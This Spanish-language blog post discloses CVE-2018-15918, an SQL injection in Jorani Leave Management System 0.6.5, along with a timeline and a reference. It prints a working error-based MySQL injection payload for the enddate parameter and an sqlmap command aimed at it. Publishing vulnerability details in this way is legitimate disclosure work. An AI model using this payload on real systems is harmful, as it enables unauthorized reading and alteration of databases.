Headline
CVE-2018-15918: CVE-2018-15918 Jorani Leave Management System 0.6.5 - SQL Injection - Hackpuntes
An issue was discovered in Jorani 0.6.5. SQL Injection (error-based) allows a user of the application without permissions to read and modify sensitive information from the database used by the application via the startdate or enddate parameter to leaves/validate.
Esta entrada tiene como finalidad hacer pública la vulnerabilidad SQL Injection descubierta en el software Jorani Leave Management System 0.6.5, la vulnerabilidad ha sido asociada al CVE-2018-159178.
****Jorani CVE-2018-15918******Jorani Leave Management System 0.6.5 – SQL Injection**
Jorani es un sistema de administración de licencias desarrollado en PHP / MySQL bajo una licencia AGPL v3, está diseñado para proporcionar solicitud de flujos de trabajo simples y tiempo extra para organizaciones pequeñas.
📅 Vulnerabilidad descubierta por Javier Olmedo el 02/08/2018
💣 Publicada el 03/09/2018
🐛 CVE-2018-15918
🔗 Link del software Jorani Leave Management System
🐞 Versión vulnerable = 0.6.5 y posiblemente anteriores
****Vector de ataque / Criticidad de la explotación********CRITICIDAD –** **CRÍTICA****
A través de las vulnerabilidades SQL Injection, un usuario malintencionado podría leer, modificar o borrar información de la base de datos que utiliza la aplicación, lanzar comandos al sistema operativo o causar una denegación de servicio con el objetivo de obtener información confidencial, escalar privilegios o dejar inoperativa la aplicación.
****Parámetros vulnerables****
Los parámetros startdate y enddate son vulnerable a ataques SQL Injection a través de peticiones POST en el recurso /leaves/validate, estas peticiones permiten las condiciones WHERE, HAVING, ORDER BY y GROUP BY, lo que permite que sean fácilmente explotables y recuperar grandes cantidades de información de la base de datos con una sola consulta.
💉 Payload
id=1&type=compensate&startdate=2018-08-02&enddate=2018-08-03′) AND (SELECT 2138 FROM(SELECT COUNT(*),CONCAT(0x7178787071,(SELECT (ELT(2138=2138,1))),0x716b716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND (‘WfLI’=’WfLI&startdatetype=Morning&enddatetype=Afternoon&leave_id=
📷 Captura de pantalla de SQLmap lanzando el comando
sqlmap -r jorani-poc.req -p enddate --dbms=MySQL --dbs
****Prueba de concepto (PoC)****
1. Si añadimos el caracter ‘ en el parámetro startdate obtenemos un error en la aplicación
1.1 Petición
1.2 Respuesta
2. En cambio, al añadir dos ‘, obtenemos un código 200 OK
2.1 Petición
2.2 Respuesta
****Timeline****
02/08/2018 Descubrimiento de la vulnerabilidad
02/08/2018 Creo issue en GitHub del proyecto
03/08/2018 El desarrollador invalida y cierra el issue 😥
27/08/2018 Solicito CVE
28/08/2018 Asignación de CVE-2018-15918 por MITRE
03/09/2018 Hago pública la vulnerabilidad
****Referencias****
CVE-MITRE – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15918
Un saludo a todos!! 👋